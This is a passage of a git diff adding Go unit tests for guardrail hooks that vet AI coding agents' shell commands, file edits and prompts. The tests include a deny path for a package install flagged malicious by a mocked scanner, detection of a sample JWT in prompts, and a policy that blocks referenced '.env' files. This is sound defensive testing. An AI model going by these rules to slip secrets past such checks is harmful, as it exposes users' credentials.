diff --git a/internal/commands/agenthooks/cx/hooks_test.go b/internal/commands/agenthooks/cx/hooks_test.go
index 0ac3b4b0..1963bfcc 100644
--- a/internal/commands/agenthooks/cx/hooks_test.go
+++ b/internal/commands/agenthooks/cx/hooks_test.go
@@ -3,10 +3,18 @@
package cx
import (
+ "os"
+ "path/filepath"
+ "runtime"
"testing"
agenthooks "github.com/Checkmarx/ast-cx-hooks"
"github.com/Checkmarx/ast-cx-hooks/claude"
+ "github.com/Checkmarx/ast-cx-hooks/cursor"
+ "github.com/checkmarx/ast-cli/internal/commands/agenthooks/sca"
+ "github.com/checkmarx/ast-cli/internal/services/realtimeengine/ossrealtime"
+ "github.com/checkmarx/ast-cli/internal/wrappers/mock"
+ "github.com/stretchr/testify/assert"
)
func TestSessionIDFromToolCall(t *testing.T) {
@@ -20,3 +28,206 @@ func TestSessionIDFromToolCall(t *testing.T) {
t.Errorf("nil raw: want empty, got %q", got)
}
}
+
+// setEmptyHomeDir redirects the OS-specific home-dir env var to a fresh empty
+// temp directory so guardrail policy loading (~/.checkmarx/policyhooks.json)
+// fails open deterministically, regardless of the real machine's home dir.
+func setEmptyHomeDir(t *testing.T) {
+ t.Helper()
+ dir := t.TempDir()
+ if runtime.GOOS == "windows" {
+ t.Setenv("USERPROFILE", dir)
+ } else {
+ t.Setenv("HOME", dir)
+ }
+}
+
+func TestCxWhenAgentIdle_AlwaysResumes(t *testing.T) {
+ verdict := cxWhenAgentIdle(agenthooks.AgentIdleEvent{})
+ assert.True(t, verdict.Proceed)
+}
+
+func TestAgentToString(t *testing.T) {
+ tests := []struct {
+ name string
+ agent agenthooks.AgentID
+ want string
+ }{
+ {"claude", agenthooks.AgentClaude, "Claude"},
+ {"copilot", agenthooks.AgentCopilot, "Copilot"},
+ {"cursor", agenthooks.AgentCursor, "Cursor"},
+ {"gemini", agenthooks.AgentGemini, "Gemini"},
+ {"droid", agenthooks.AgentDroid, "Droid"},
+ {"windsurf", agenthooks.AgentWindsurf, "Windsurf"},
+ {"unknown", agenthooks.AgentID("something-else"), "Unknown"},
+ }
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ assert.Equal(t, tt.want, agentToString(tt.agent))
+ })
+ }
+}
+
+func TestNormalizeNewlines(t *testing.T) {
+ assert.Equal(t, "a\nb\nc", normalizeNewlines("a\r\nb\rc"))
+ assert.Equal(t, "no-newlines", normalizeNewlines("no-newlines"))
+}
+
+func TestFullAfterContent_FullWrite_ReturnsAfterAsIs(t *testing.T) {
+ diff := agenthooks.FileDiff{Before: "", After: "brand new content"}
+ got := fullAfterContent(filepath.Join(t.TempDir(), "missing.txt"), diff)
+ assert.Equal(t, "brand new content", string(got))
+}
+
+func TestFullAfterContent_ExactReplacement(t *testing.T) {
+ path := filepath.Join(t.TempDir(), "file.txt")
+ assert.NoError(t, os.WriteFile(path, []byte("hello old world"), 0600))
+
+ diff := agenthooks.FileDiff{Before: "old", After: "new"}
+ got := fullAfterContent(path, diff)
+ assert.Equal(t, "hello new world", string(got))
+}
+
+func TestFullAfterContent_LineEndingNormalizedReplacement(t *testing.T) {
+ path := filepath.Join(t.TempDir(), "file.txt")
+ assert.NoError(t, os.WriteFile(path, []byte("line1\r\nold-region\r\nline3"), 0600))
+
+ diff := agenthooks.FileDiff{Before: "old-region\n", After: "new-region\n"}
+ got := fullAfterContent(path, diff)
+ assert.Equal(t, "line1\nnew-region\nline3", string(got))
+}
+
+func TestFullAfterContent_RegionNotFound_FallsBackToNormalizedAfter(t *testing.T) {
+ path := filepath.Join(t.TempDir(), "file.txt")
+ assert.NoError(t, os.WriteFile(path, []byte("completely unrelated content"), 0600))
+
+ diff := agenthooks.FileDiff{Before: "not-present-anywhere", After: "fallback\r\ncontent"}
+ got := fullAfterContent(path, diff)
+ assert.Equal(t, "fallback\ncontent", string(got))
+}
+
+func TestFullAfterContent_MissingFileWithBefore_ReturnsAfter(t *testing.T) {
+ diff := agenthooks.FileDiff{Before: "old", After: "new content"}
+ got := fullAfterContent(filepath.Join(t.TempDir(), "missing.txt"), diff)
+ assert.Equal(t, "new content", string(got))
+}
+
+func TestPromptWorkspaceRoots_CursorEventWithRoots(t *testing.T) {
+ raw := &cursor.PromptPreEvent{EventBase: cursor.EventBase{WorkspaceRoots: []string{"/repo/a", "/repo/b"}}}
+ roots := promptWorkspaceRoots(raw)
+ assert.Equal(t, []string{"/repo/a", "/repo/b"}, roots)
+}
+
+func TestPromptWorkspaceRoots_NonCursorEvent_FallsBackToCwd(t *testing.T) {
+ cwd, err := os.Getwd()
+ assert.NoError(t, err)
+
+ roots := promptWorkspaceRoots(nil)
+ assert.Equal(t, []string{cwd}, roots)
+}
+
+func TestCxBeforeToolCall_NonShell_Allows(t *testing.T) {
+ verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindBuiltin})
+ assert.True(t, verdict.Permit)
+}
+
+func TestCxBeforeToolCall_ShellNoScanner_Allows(t *testing.T) {
+ setEmptyHomeDir(t)
+ scaScanner = nil
+
+ verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindShell, Command: "ls -la"})
+ assert.True(t, verdict.Permit)
+}
+
+func TestCxBeforeToolCall_ShellWithMaliciousPackage_DeniesWithContext(t *testing.T) {
+ setEmptyHomeDir(t)
+ prevScanner, prevTelemetry := scaScanner, telemetryWrapper
+ defer func() { scaScanner, telemetryWrapper = prevScanner, prevTelemetry }()
+
+ scaScanner = sca.NewScannerWithFunc(func(string) (*ossrealtime.OssPackageResults, error) {
+ return &ossrealtime.OssPackageResults{
+ Packages: []ossrealtime.OssPackage{{PackageName: "lodash", PackageVersion: "4.17.21", Status: "Malicious"}},
+ }, nil
+ })
+ telemetryWrapper = mock.TelemetryMockWrapper{}
+
+ verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindShell, Command: "npm install lodash@4.17.21"})
+ assert.False(t, verdict.Permit)
+ assert.Contains(t, verdict.Message, "MALICIOUS")
+}
+
+func TestCxBeforeFileEdit_CursorRead_NoSecrets_Accepts(t *testing.T) {
+ path := filepath.Join(t.TempDir(), "readme.txt")
+ assert.NoError(t, os.WriteFile(path, []byte("just some plain text, nothing sensitive here"), 0600))
+
+ verdict := cxBeforeFileEdit(agenthooks.FileEditEvent{Agent: agenthooks.AgentCursor, FilePath: path})
+ assert.True(t, verdict.Permit)
+}
+
+func TestCxBeforeFileEdit_UnsupportedFileType_Accepts(t *testing.T) {
+ setEmptyHomeDir(t)
+ prevSca, prevKics := scaScanner, kicsScanner
+ defer func() { scaScanner, kicsScanner = prevSca, prevKics }()
+ scaScanner = nil
+ kicsScanner = nil
+
+ path := filepath.Join(t.TempDir(), "notes.txt")
+ ev := agenthooks.FileEditEvent{
+ Agent: agenthooks.AgentClaude,
+ FilePath: path,
+ Changes: []agenthooks.FileDiff{{Before: "", After: "hello world"}},
+ }
+
+ verdict := cxBeforeFileEdit(ev)
+ assert.True(t, verdict.Permit)
+}
+
+func TestCxBeforePrompt_Benign_Accepts(t *testing.T) {
+ setEmptyHomeDir(t)
+ verdict := cxBeforePrompt(agenthooks.PromptEvent{Text: "please explain how this function works"})
+ assert.True(t, verdict.Accept)
+}
+
+func TestRegisterGuardrails_SetsScanners(t *testing.T) {
+ prevSca, prevKics, prevTelemetry := scaScanner, kicsScanner, telemetryWrapper
+ defer func() { scaScanner, kicsScanner, telemetryWrapper = prevSca, prevKics, prevTelemetry }()
+
+ telemetry := mock.TelemetryMockWrapper{}
+ RegisterGuardrails(&mock.JWTMockWrapper{}, &mock.FeatureFlagsMockWrapper{}, &mock.RealtimeScannerMockWrapper{}, telemetry)
+
+ assert.NotNil(t, scaScanner)
+ assert.NotNil(t, kicsScanner)
+ assert.Equal(t, telemetry, telemetryWrapper)
+}
+
+func TestRegisterPassThrough_ClearsScanners(t *testing.T) {
+ prevSca, prevKics := scaScanner, kicsScanner
+ defer func() { scaScanner, kicsScanner = prevSca, prevKics }()
+
+ RegisterGuardrails(&mock.JWTMockWrapper{}, &mock.FeatureFlagsMockWrapper{}, &mock.RealtimeScannerMockWrapper{}, mock.TelemetryMockWrapper{})
+ assert.NotNil(t, scaScanner)
+
+ RegisterPassThrough()
+ assert.Nil(t, scaScanner)
+ assert.Nil(t, kicsScanner)
+}
+
+func TestLogRemediationTelemetry_NilWrapper_NoOp(t *testing.T) {
+ prevTelemetry := telemetryWrapper
+ defer func() { telemetryWrapper = prevTelemetry }()
+
+ telemetryWrapper = nil
+ assert.NotPanics(t, func() {
+ logRemediationTelemetry("Claude", "SCA", "finding", "remediation")
+ })
+}
+
+func TestLogRemediationTelemetry_WithWrapper_Sends(t *testing.T) {
+ prevTelemetry := telemetryWrapper
+ defer func() { telemetryWrapper = prevTelemetry }()
+
+ telemetryWrapper = mock.TelemetryMockWrapper{}
+ assert.NotPanics(t, func() {
+ logRemediationTelemetry("Claude", "SCA", "finding", "remediation")
+ })
+}
diff --git a/internal/commands/agenthooks/guardrails/asca/asca_test.go b/internal/commands/agenthooks/guardrails/asca/asca_test.go
index 4d96ad4e..8b43d6db 100644
--- a/internal/commands/agenthooks/guardrails/asca/asca_test.go
+++ b/internal/commands/agenthooks/guardrails/asca/asca_test.go
@@ -10,8 +10,13 @@ import (
"testing"
agenthooks "github.com/Checkmarx/ast-cx-hooks"
+ "github.com/checkmarx/ast-cli/internal/params"
"github.com/checkmarx/ast-cli/internal/services/realtimeengine/ignore"
+ "github.com/checkmarx/ast-cli/internal/wrappers"
"github.com/checkmarx/ast-cli/internal/wrappers/grpcs"
+ "github.com/checkmarx/ast-cli/internal/wrappers/mock"
+ "github.com/spf13/viper"
+ "github.com/stretchr/testify/assert"
)
// ── ProposedContent ─────────────────────────────────────────────────────────
@@ -101,14 +106,16 @@ func TestProposedContent_MultiEdit(t *testing.T) {
// ── stageForScan / safeSessionTag ───────────────────────────────────────────
+const wantAnonTag = "anon"
+
func TestSafeSessionTag_Empty(t *testing.T) {
- if got := safeSessionTag(""); got != "anon" {
+ if got := safeSessionTag(""); got != wantAnonTag {
t.Fatalf("want anon, got %q", got)
}
}
func TestSafeSessionTag_AllSpecialChars(t *testing.T) {
- if got := safeSessionTag("!!!???"); got != "anon" {
+ if got := safeSessionTag("!!!???"); got != wantAnonTag {
t.Fatalf("want anon, got %q", got)
}
}
@@ -119,8 +126,9 @@ func TestSafeSessionTag_UUID(t *testing.T) {
t.Fatalf("expected ≤8 chars, got %q (len %d)", got, len(got))
}
for _, r := range got {
- if !((r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') ||
- (r >= '0' && r <= '9') || r == '-' || r == '_') {
+ isAllowedChar := (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') ||
+ (r >= '0' && r <= '9') || r == '-' || r == '_'
+ if !isAllowedChar {
t.Fatalf("unexpected char %q in tag %q", r, got)
}
}
@@ -174,6 +182,34 @@ func TestStageForScan_CleanupRemovesDir(t *testing.T) {
}
}
+func TestStageForScan_EmptyOriginalPath_ReturnsError(t *testing.T) {
+ staged, cleanup, err := stageForScan("", "content", "sess")
+ if err == nil {
+ t.Fatal("expected error for empty original path")
+ }
+ if staged != "" {
+ t.Fatalf("expected empty staged path on error, got %q", staged)
+ }
+ if !strings.Contains(err.Error(), "invalid basename") {
+ t.Fatalf("expected invalid basename error, got %v", err)
+ }
+ cleanup() // must be safe to call (noop) even on the error path
+}
+
+func TestStageForScan_DotDotOriginalPath_ReturnsError(t *testing.T) {
+ staged, cleanup, err := stageForScan("..", "content", "sess")
+ if err == nil {
+ t.Fatal("expected error for '..' original path")
+ }
+ if staged != "" {
+ t.Fatalf("expected empty staged path on error, got %q", staged)
+ }
+ if !strings.Contains(err.Error(), "invalid basename") {
+ t.Fatalf("expected invalid basename error, got %v", err)
+ }
+ cleanup()
+}
+
func TestStageForScan_FileMode(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("Unix permission bits (0600) are not enforced on Windows; validated on Linux/macOS CI")
@@ -325,3 +361,143 @@ func TestAdditionalContext_EmptyWorkDirOmitsIgnoredFilePath(t *testing.T) {
t.Errorf("expected no ignored-file-path flag for empty workDir, got %q", ctx)
}
}
+
+// ── isSupportedByASCA ────────────────────────────────────────────────────────
+
+func TestIsSupportedByASCA(t *testing.T) {
+ tests := []struct {
+ path string
+ want bool
+ }{
+ {"main.py", true},
+ {"main.PY", true},
+ {"App.java", true},
+ {"index.js", true},
+ {"component.tsx", true},
+ {"Program.cs", true},
+ {"server.go", true},
+ {"readme.md", false},
+ {"data.json", false},
+ {"noextension", false},
+ }
+ for _, tt := range tests {
+ t.Run(tt.path, func(t *testing.T) {
+ assert.Equal(t, tt.want, isSupportedByASCA(tt.path))
+ })
+ }
+}
+
+// ── ScanFileEdit fail-open branches ──────────────────────────────────────────
+
+func TestScanFileEdit_UnsupportedExtension_ReturnsFalse(t *testing.T) {
+ blocked, reason, context := ScanFileEdit(agenthooks.FileEditEvent{FilePath: "notes.txt"}, nil, "Claude")
+ assert.False(t, blocked)
+ assert.Empty(t, reason)
+ assert.Empty(t, context)
+}
+
+func TestScanFileEdit_EmptyProposedContent_ReturnsFalse(t *testing.T) {
+ ev := agenthooks.FileEditEvent{
+ FilePath: filepath.Join(t.TempDir(), "empty.py"),
+ Changes: []agenthooks.FileDiff{{Before: "", After: ""}},
+ }
+ blocked, reason, context := ScanFileEdit(ev, nil, "Claude")
+ assert.False(t, blocked)
+ assert.Empty(t, reason)
+ assert.Empty(t, context)
+}
+
+// ── existingIgnoreFilePath ───────────────────────────────────────────────────
+
+func TestExistingIgnoreFilePath_FileMissing_ReturnsEmpty(t *testing.T) {
+ assert.Empty(t, existingIgnoreFilePath(t.TempDir()))
+}
+
+func TestExistingIgnoreFilePath_FileExists_ReturnsPath(t *testing.T) {
+ workDir := t.TempDir()
+ ignorePath := ignore.PathFor(workDir)
+ assert.NoError(t, os.MkdirAll(filepath.Dir(ignorePath), 0o755))
+ assert.NoError(t, os.WriteFile(ignorePath, []byte("[]"), 0o600))
+
+ assert.Equal(t, ignorePath, existingIgnoreFilePath(workDir))
+}
+
+// ── shouldUpdateVersion ──────────────────────────────────────────────────────
+
+func TestShouldUpdateVersion_DefaultTrue(t *testing.T) {
+ viper.Set(params.DisableASCALatestVersionKey, "")
+ defer viper.Set(params.DisableASCALatestVersionKey, "")
+
+ assert.True(t, shouldUpdateVersion())
+}
+
+func TestShouldUpdateVersion_DisabledReturnsFalse(t *testing.T) {
+ viper.Set(params.DisableASCALatestVersionKey, "true")
+ defer viper.Set(params.DisableASCALatestVersionKey, "")
+
+ assert.False(t, shouldUpdateVersion())
+}
+
+// ── logASCATelemetry ─────────────────────────────────────────────────────────
+
+func TestLogASCATelemetry_NilWrapper_NoOp(t *testing.T) {
+ assert.NotPanics(t, func() {
+ logASCATelemetry(nil, "Claude", 3)
+ })
+}
+
+func TestLogASCATelemetry_ZeroCount_DoesNotSend(t *testing.T) {
+ sent := false
+ telemetry := mock.TelemetryMockWrapper{
+ CustomSendAIDataToLog: func(data *wrappers.DataForAITelemetry) error {
+ sent = true
+ return nil
+ },
+ }
+ logASCATelemetry(telemetry, "Claude", 0)
+ assert.False(t, sent)
+}
+
+func TestLogASCATelemetry_WithFindings_Sends(t *testing.T) {
+ var captured *wrappers.DataForAITelemetry
+ telemetry := mock.TelemetryMockWrapper{
+ CustomSendAIDataToLog: func(data *wrappers.DataForAITelemetry) error {
+ captured = data
+ return nil
+ },
+ }
+ logASCATelemetry(telemetry, "Claude", 2)
+ assert.NotNil(t, captured)
+ assert.Equal(t, "Asca", captured.Engine)
+ assert.Equal(t, 2, captured.TotalCount)
+ assert.Equal(t, "Claude", captured.AIProvider)
+}
+
+// ── findingsSummary / formatFindings ─────────────────────────────────────────
+
+func TestFindingsSummary_IncludesRemediation(t *testing.T) {
+ findings := []grpcs.ScanDetail{
+ {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10, Remediation: "use parameterized queries"},
+ }
+ summary := findingsSummary(findings)
+ assert.Contains(t, summary, "a.py line 3 [HIGH] sql-injection (rule_id 10) — use parameterized queries")
+}
+
+func TestFindingsSummary_MissingRemediation_UsesDefaultText(t *testing.T) {
+ findings := []grpcs.ScanDetail{
+ {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10},
+ }
+ summary := findingsSummary(findings)
+ assert.Contains(t, summary, "No remediation provided")
+}
+
+func TestFormatFindings_ReturnsReasonAndContext(t *testing.T) {
+ findings := []grpcs.ScanDetail{
+ {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10},
+ }
+ reason, context := formatFindings("a.py", findings, "")
+ assert.Contains(t, reason, "ASCA security scan detected vulnerabilities in a.py")
+ assert.Contains(t, reason, "sql-injection")
+ assert.Contains(t, context, "ASCA detected vulnerabilities in a.py")
+ assert.Contains(t, context, "ignore-vulnerability")
+}
diff --git a/internal/commands/agenthooks/guardrails/prompt_test.go b/internal/commands/agenthooks/guardrails/prompt_test.go
index eddb3181..5674fbc6 100644
--- a/internal/commands/agenthooks/guardrails/prompt_test.go
+++ b/internal/commands/agenthooks/guardrails/prompt_test.go
@@ -18,6 +18,11 @@ const sampleJWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." +
"eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ." +
"SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
+const (
+ testOSWindows = "windows"
+ testJiraConfigFile = "application-jira.yml"
+)
+
// resolveReferencedFile is the resolver behind ScanReferencedFiles. We exercise
// it directly because the scanner integration is unchanged — only the resolver
// logic shifted from "literal stat" to "literal stat + glob fallback".
@@ -35,12 +40,12 @@ func TestResolveReferencedFile_LiteralAbsoluteHit(t *testing.T) {
func TestResolveReferencedFile_GlobFallbackFindsSibling(t *testing.T) {
dir := t.TempDir()
- mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v")
+ mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v")
typed := filepath.Join(dir, "application-jira") // no extension
got := resolveReferencedFile(typed, nil)
- if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" {
+ if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile {
t.Fatalf("expected glob fallback to find application-jira.yml, got %v", got)
}
}
@@ -81,10 +86,10 @@ func TestResolveReferencedFile_TypedPathIsDirectory(t *testing.T) {
func TestResolveReferencedFile_RelativePathResolvesAgainstWorkspaceRoot(t *testing.T) {
dir := t.TempDir()
- mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v")
+ mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v")
got := resolveReferencedFile("application-jira", []string{dir})
- if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" {
+ if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile {
t.Fatalf("expected glob fallback under workspace root to find application-jira.yml, got %v", got)
}
}
@@ -102,17 +107,17 @@ func TestResolveReferencedFile_RelativeStopsAtFirstMatchingRoot(t *testing.T) {
}
func TestResolveReferencedFile_CursorStyleWindowsRootNormalised(t *testing.T) {
- if runtime.GOOS != "windows" {
+ if runtime.GOOS != testOSWindows {
t.Skip("Cursor /c:/ root form is Windows-specific")
}
dir := t.TempDir()
- mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v")
+ mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v")
// Cursor reports Windows roots as "/c:/foo"; NormalizeWorkspaceRoot strips
// the leading slash. Confirm the resolver still finds the file via glob.
cursorRoot := "/" + filepath.ToSlash(dir)
got := resolveReferencedFile("application-jira", []string{cursorRoot})
- if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" {
+ if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile {
t.Fatalf("expected glob fallback under Cursor-style root, got %v", got)
}
}
@@ -133,6 +138,117 @@ func TestResolveReferencedFile_GlobMatchesMixedRegularAndDir(t *testing.T) {
}
}
+// --------------------------------------------------------------------------
+// ScanForSecrets — 2ms scan over raw prompt text
+// --------------------------------------------------------------------------
+
+func TestScanForSecrets_BlocksOnJWT(t *testing.T) {
+ reason := ScanForSecrets("token = " + sampleJWT)
+ if reason == "" {
+ t.Fatal("expected block: text contains a JWT")
+ }
+ if !strings.Contains(reason, "secret(s)") {
+ t.Fatalf("expected secret count in reason, got %q", reason)
+ }
+}
+
+func TestScanForSecrets_CleanText_NoBlock(t *testing.T) {
+ if reason := ScanForSecrets("please refactor this function"); reason != "" {
+ t.Fatalf("expected no block for clean text, got %q", reason)
+ }
+}
+
+// --------------------------------------------------------------------------
+// ScanReferencedFiles — resolves + scans files mentioned in prompt text
+// --------------------------------------------------------------------------
+
+func TestScanReferencedFiles_NoPathsInText_ReturnsEmpty(t *testing.T) {
+ if reason := ScanReferencedFiles("please refactor this function", nil); reason != "" {
+ t.Fatalf("expected no-op with no file references, got %q", reason)
+ }
+}
+
+func TestScanReferencedFiles_ReferencedFileHasSecret_Blocks(t *testing.T) {
+ dir := t.TempDir()
+ target := filepath.Join(dir, "creds.env")
+ mustWrite(t, target, "token = "+sampleJWT)
+
+ reason := ScanReferencedFiles("please check @"+target, nil)
+ if reason == "" {
+ t.Fatal("expected block: referenced file contains a JWT")
+ }
+ if !strings.Contains(reason, "creds.env") {
+ t.Fatalf("reason should cite the file path, got %q", reason)
+ }
+}
+
+func TestScanReferencedFiles_ReferencedFileClean_NoBlock(t *testing.T) {
+ dir := t.TempDir()
+ target := filepath.Join(dir, "notes.txt")
+ mustWrite(t, target, "just some plain notes")
+
+ if reason := ScanReferencedFiles("please check @"+target, nil); reason != "" {
+ t.Fatalf("expected no block for clean referenced file, got %q", reason)
+ }
+}
+
+func TestScanReferencedFiles_MissingFile_FailOpen(t *testing.T) {
+ missing := filepath.Join(t.TempDir(), "does-not-exist.env")
+ if reason := ScanReferencedFiles("please check @"+missing, nil); reason != "" {
+ t.Fatalf("expected fail-open for missing referenced file, got %q", reason)
+ }
+}
+
+// --------------------------------------------------------------------------
+// ScanPrompt — orchestrates all prompt guardrails
+// --------------------------------------------------------------------------
+
+func TestScanPrompt_CleanText_ReturnsEmpty(t *testing.T) {
+ if reason := ScanPrompt("please explain how this function works"); reason != "" {
+ t.Fatalf("expected clean prompt to pass, got %q", reason)
+ }
+}
+
+func TestScanPrompt_SecretInText_Blocks(t *testing.T) {
+ reason := ScanPrompt("here is my token: " + sampleJWT)
+ if reason == "" {
+ t.Fatal("expected block: prompt contains a JWT")
+ }
+ if !strings.Contains(reason, "secret(s)") {
+ t.Fatalf("expected secret-scanner reason, got %q", reason)
+ }
+}
+
+func TestScanPrompt_BlockedExtensionReferenced_Blocks(t *testing.T) {
+ policy := HooksPolicy{}
+ policy.DefaultPolicy.ContextPolicy.Enabled = true
+ policy.DefaultPolicy.ContextPolicy.BlockedExtensions = BlockedExtensions{Enabled: true, Extensions: []string{".env"}}
+ defer writePolicyHelper(t, &policy)()
+
+ reason := ScanPrompt("please review @config.env for me")
+ if reason == "" {
+ t.Fatal("expected block: prompt references a blocked extension")
+ }
+ if !strings.Contains(reason, "blocked extensions") {
+ t.Fatalf("expected blocked-extension reason, got %q", reason)
+ }
+}
+
+func TestScanPrompt_TooManyFilesReferenced_Blocks(t *testing.T) {
+ policy := HooksPolicy{}
+ policy.DefaultPolicy.ContextPolicy.Enabled = true
+ policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileCount: 1}
+ defer writePolicyHelper(t, &policy)()
+
+ reason := ScanPrompt("please review @a.go and @b.go and @c.go")
+ if reason == "" {
+ t.Fatal("expected block: prompt references more files than the policy allows")
+ }
+ if !strings.Contains(reason, "exceeding the policy limit") {
+ t.Fatalf("expected files-limit reason, got %q", reason)
+ }
+}
+
func mustWrite(t *testing.T, path, content string) {
t.Helper()
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
@@ -161,7 +277,7 @@ func itoa(i int) string {
// writePolicyHelper writes a HooksPolicy to a temp ~/.checkmarx/policyhooks.json
// and redirects the home dir so LoadPolicy() picks it up. Returns a cleanup
// function that must be invoked (typically via defer) to restore the env.
-func writePolicyHelper(t *testing.T, policy HooksPolicy) func() {
+func writePolicyHelper(t *testing.T, policy *HooksPolicy) func() {
t.Helper()
data, err := json.Marshal(policy)
if err != nil {
@@ -175,24 +291,28 @@ func writePolicyHelper(t *testing.T, policy HooksPolicy) func() {
if err := os.WriteFile(filepath.Join(cxDir, "policyhooks.json"), data, 0o644); err != nil {
t.Fatalf("write policy: %v", err)
}
- if runtime.GOOS == "windows" {
+ if runtime.GOOS == testOSWindows {
orig, had := os.LookupEnv("USERPROFILE")
- os.Setenv("USERPROFILE", dir)
+ if err := os.Setenv("USERPROFILE", dir); err != nil {
+ t.Fatalf("setenv USERPROFILE: %v", err)
+ }
return func() {
if had {
- os.Setenv("USERPROFILE", orig)
+ _ = os.Setenv("USERPROFILE", orig)
} else {
- os.Unsetenv("USERPROFILE")
+ _ = os.Unsetenv("USERPROFILE")
}
}
}
orig, had := os.LookupEnv("HOME")
- os.Setenv("HOME", dir)
+ if err := os.Setenv("HOME", dir); err != nil {
+ t.Fatalf("setenv HOME: %v", err)
+ }
return func() {
if had {
- os.Setenv("HOME", orig)
+ _ = os.Setenv("HOME", orig)
} else {
- os.Unsetenv("HOME")
+ _ = os.Unsetenv("HOME")
}
}
}
@@ -335,7 +455,7 @@ func TestScanWorkspaceFilesByPromptName_SizePolicyViolation_BlocksWithoutSecrets
policy := HooksPolicy{}
policy.DefaultPolicy.ContextPolicy.Enabled = true
policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3}
- defer writePolicyHelper(t, policy)()
+ defer writePolicyHelper(t, &policy)()
ws := makeWorkspace(t, map[string]string{
"Kedar.txt": strings.Repeat("a", 5*1024), // 5 KB, no secrets
@@ -353,7 +473,7 @@ func TestScanWorkspaceFilesByPromptName_SizePolicyAtCap_NotBlocked(t *testing.T)
policy := HooksPolicy{}
policy.DefaultPolicy.ContextPolicy.Enabled = true
policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3}
- defer writePolicyHelper(t, policy)()
+ defer writePolicyHelper(t, &policy)()
ws := makeWorkspace(t, map[string]string{
"Kedar.txt": strings.Repeat("a", 3*1024), // exactly at cap
@@ -380,7 +500,7 @@ func TestScanWorkspaceFilesByPromptName_NoWorkspaceRoots_NoOp(t *testing.T) {
}
func TestScanWorkspaceFilesByPromptName_CursorStyleWindowsRoot(t *testing.T) {
- if runtime.GOOS != "windows" {
+ if runtime.GOOS != testOSWindows {
t.Skip("Cursor /c:/foo root form is Windows-specific")
}
ws := makeWorkspace(t, map[string]string{
@@ -520,7 +640,7 @@ func TestScanFileForSecrets_OverPolicyCap_BlocksOnSize(t *testing.T) {
policy := HooksPolicy{}
policy.DefaultPolicy.ContextPolicy.Enabled = true
policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3}
- defer writePolicyHelper(t, policy)()
+ defer writePolicyHelper(t, &policy)()
dir := t.TempDir()
path := filepath.Join(dir, "big.txt")
@@ -539,7 +659,7 @@ func TestScanFileForSecrets_AtPolicyCap_Allowed(t *testing.T) {
policy := HooksPolicy{}
policy.DefaultPolicy.ContextPolicy.Enabled = true
policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3}
- defer writePolicyHelper(t, policy)()
+ defer writePolicyHelper(t, &policy)()
dir := t.TempDir()
path := filepath.Join(dir, "exact.txt")
diff --git a/internal/commands/agenthooks/mcp/bridge_test.go b/internal/commands/agenthooks/mcp/bridge_test.go
index 76701bff..c9818e35 100644
--- a/internal/commands/agenthooks/mcp/bridge_test.go
+++ b/internal/commands/agenthooks/mcp/bridge_test.go
@@ -38,7 +38,7 @@ func TestNewBridgeClient(t *testing.T) {
tr, ok := c.Transport.(*http.Transport)
assert.True(t, ok, "expected a proxy-aware *http.Transport")
assert.NotNil(t, tr.Proxy, "expected a proxy resolver")
- req, err := http.NewRequest(http.MethodGet, "https://mcp.example.com", nil)
+ req, err := http.NewRequest(http.MethodGet, "https://mcp.example.com", http.NoBody)
assert.NoError(t, err)
proxyURL, err := tr.Proxy(req)
assert.NoError(t, err)
@@ -608,6 +608,133 @@ func TestAuthedSelfHeal_ReReadsDisk(t *testing.T) {
assert.Contains(t, out.String(), `"ok":true`)
}
+func TestDefaultProtocolVersion(t *testing.T) {
+ assert.Equal(t, "2025-06-18", defaultProtocolVersion())
+}
+
+func TestNewBridgeCommand_Metadata(t *testing.T) {
+ cmd := NewBridgeCommand("1.2.3")
+ assert.Equal(t, "bridge", cmd.Use)
+ assert.True(t, cmd.Hidden)
+ assert.NotNil(t, cmd.Flags().Lookup(mcpURLFlag))
+}
+
+func TestDispatchLocal_NotificationsInitialized_NoResponse(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.dispatchLocal([]byte(`{"jsonrpc":"2.0","method":"notifications/initialized"}`))
+ assert.Empty(t, out.String())
+}
+
+func TestDispatchLocal_Ping_RespondsWithEmptyResult(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.dispatchLocal([]byte(`{"jsonrpc":"2.0","id":5,"method":"ping"}`))
+ lines := decodeLines(t, out.String())
+ assert.Len(t, lines, 1)
